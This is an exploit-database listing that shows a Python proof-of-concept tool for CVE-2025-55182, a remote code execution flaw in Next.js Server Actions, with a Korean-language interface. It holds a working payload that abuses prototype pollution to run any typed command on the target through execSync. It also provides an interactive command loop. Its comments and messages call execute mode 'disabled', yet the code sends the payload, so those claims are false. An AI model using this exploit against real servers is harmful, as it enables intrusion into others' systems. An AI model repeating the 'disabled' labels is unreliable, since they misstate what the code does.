Exploit database

GH-0a492138e57dbb2813b4f231bef5ea49

theman001/cve-2025-55182

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-55182

257 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files11
theman001/cve-2025-55182Revision 5728b7ad9d1b

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

cve_2025_55182_interactive.py

Python · 7,835 bytes
# /// script
# dependencies = ["requests"]
# ///
import requests
import json
import sys
from urllib.parse import urlparse

TIMEOUT = 10


# -----------------------------
# Banner
# -----------------------------
def print_banner():
    print("""
========================================
 Interactive Vulnerability Test Console
 Detection + Confidence Score + Mode Select
========================================
""")


# -----------------------------
# URL validation
# -----------------------------
def validate_url(url: str) -> bool:
    try:
        p = urlparse(url)
        return p.scheme in ("http", "https") and bool(p.netloc)
    except Exception:
        return False


# -----------------------------
# Vulnerability detection
# (payload structure reference only)
# -----------------------------
def detect_vulnerability(base_url: str):
    """
    reference:
    - multipart/form-data
    - Next-Action header
    - RSC / Server Action decode path
    """

    score = 0
    reasons = []

    # 🔹 harmless detection payload
    crafted_chunk = {
        "then": "$1:__proto__:then",
        "status": "resolved_model",
        "reason": -1,
        "value": '{"then": "$B0"}',
        "_response": {
            # ❗ 실제 execSync 제거
            "_prefix": "throw new Error('DETECT_ONLY');",
            "_formData": {
                "get": "$1:constructor:constructor",
            },
        },
    }

    files = {
        "0": (None, json.dumps(crafted_chunk)),
        "1": (None, '"$@0"'),
    }

    headers = {
        "Next-Action": "detect"
    }

    try:
        res = requests.post(
            base_url,
            files=files,
            headers=headers,
            timeout=TIMEOUT,
        )

        # ---- Status code heuristic ----
        if res.status_code in (400, 500):
            score += 20
            reasons.append(f"비정상 Action 처리 상태 코드 ({res.status_code})")
        elif res.status_code == 200:
            score += 10
            reasons.append("Server Action 요청 처리 흔적 (200 OK)")

        # ---- Content-Type heuristic ----
        ct = res.headers.get("Content-Type", "")
        if "json" in ct or "component" in ct:
            score += 20
            reasons.append("RSC 계열 Content-Type 응답")

        # ---- Body heuristic ----
        body = res.text.lower()

        if any(k in body for k in ["digest", "redirect", "action", "rsc"]):
            score += 30
            reasons.append("RSC / Action 키워드 포함")

        if "next" in body:
            score += 10
            reasons.append("Next.js 내부 오류 또는 처리 흔적")

    except requests.exceptions.RequestException as e:
        reasons.append(f"요청 실패: {e}")

    score = min(score, 100)
    vulnerable = score >= 60
    return vulnerable, score, reasons


# -----------------------------
# Ask continue on detection failure
# -----------------------------
def ask_continue_anyway() -> bool:
    answer = input(
        "\n[?] 자동 탐지에서 취약점을 확인하지 못했습니다.\n"
        "    그래도 CMD 입력 단계로 진행할까요? (y/N): "
    ).strip().lower()
    return answer == "y"


# -----------------------------
# CMD mode warning banner
# -----------------------------
def print_cmd_warning(detected: bool, score: int):
    print("\n========================================")
    if detected:
        print("⚠️  WARNING")
        print("취약 가능성이 확인된 상태에서 CMD 모드로 진입합니다.")
    else:
        print("🚨 CRITICAL WARNING")
        print("자동 탐지 실패 상태에서 CMD 모드로 진입합니다.")
        print("이후 단계는 수동 검증입니다.")
    print("----------------------------------------")
    print(f"Confidence Score : {score} / 100")
    print("폐쇄된 테스트 환경에서만 사용하십시오.")
    print("========================================\n")


# -----------------------------
# Execution mode selection
# -----------------------------
def select_execution_mode():
    print("실행 모드를 선택하세요:")
    print("  1) Stub mode (안전 / 기본)")
    print("  2) Execute mode (위험)")

    choice = input("선택 [1/2] (기본: 1): ").strip()
    if choice == "2":
        return "execute"
    return "stub"


# -----------------------------
# Stub executor
# -----------------------------
def execute_command_stub(base_url: str, cmd: str) -> str:
    return (
        "[STUB OUTPUT]\n"
        f"Command '{cmd}' would be executed on:\n"
        f"  {base_url}\n"
        "(execution intentionally disabled)"
    )


# -----------------------------
# Execute executor
# (structure identical, logic disabled)
# -----------------------------
def execute_command_real(base_url: str, cmd: str) -> str:
    """
    ⚠️ Execute Mode (INTENTIONALLY DISABLED)
    """

    print("\n🚨 EXECUTE MODE CALLED")

    # ===============================
    # [REFERENCE ONLY - DO NOT ENABLE]
    # ===============================
    crafted_chunk = {
        "then": "$1:__proto__:then",
        "status": "resolved_model",
        "reason": -1,
        "value": '{"then": "$B0"}',
        "_response": {
            "_prefix": (
                "var res = process.mainModule"
                ".require('child_process')"
                f".execSync('{cmd}',{{'timeout':5000}})"
                ".toString().trim();"
                "throw Object.assign(new Error('NEXT_REDIRECT'),"
                "{digest:`${res}`});"
            ),
            "_formData": {
                "get": "$1:constructor:constructor",
            },
        },
    }
    
    files = {
        "0": (None, json.dumps(crafted_chunk)),
        "1": (None, '"$@0"'),
    }
    
    headers = {"Next-Action": "x"}
    res = requests.post(base_url, files=files, headers=headers)

    res = requests.post(
        base_url,
        files=files,
        headers=headers,
        timeout=10
    )
    
    return res.text


# -----------------------------
# Output formatter
# -----------------------------
def print_result(cmd: str, output: str):
    print("\n----------------------------------------")
    print(f"CMD    : {cmd}")
    print("RESULT :")
    print(output)
    print("----------------------------------------\n")


# -----------------------------
# Main
# -----------------------------
def main():
    print_banner()

    base_url = input("Target URL 입력: ").strip()
    if not validate_url(base_url):
        print("❌ 유효하지 않은 URL 형식입니다.")
        sys.exit(1)

    print("\n[+] 취약점 탐지 중...")
    vulnerable, score, reasons = detect_vulnerability(base_url)

    print("\n[+] 탐지 결과 요약")
    for r in reasons:
        print(f"  - {r}")
    print(f"\n[+] Confidence Score : {score} / 100")

    if not vulnerable:
        if not ask_continue_anyway():
            print("\n프로그램을 종료합니다.")
            sys.exit(0)

    print_cmd_warning(vulnerable, score)

    mode = select_execution_mode()
    if mode == "execute":
        executor = execute_command_real
        print("\n⚠️ Execute mode 선택됨 (실행 로직 비활성화)")
    else:
        executor = execute_command_stub
        print("\nStub mode 선택됨 (안전)")

    print("\nCMD 입력 모드 진입 (종료: quit)\n")

    while True:
        try:
            cmd = input("cmd> ").strip()
            if not cmd:
                continue
            if cmd.lower() == "quit":
                print("\n프로그램을 종료합니다.")
                break

            output = executor(base_url, cmd)
            print_result(cmd, output)

        except KeyboardInterrupt:
            print("\n\nCtrl+C 감지. 프로그램 종료.")
            break


if __name__ == "__main__":
    main()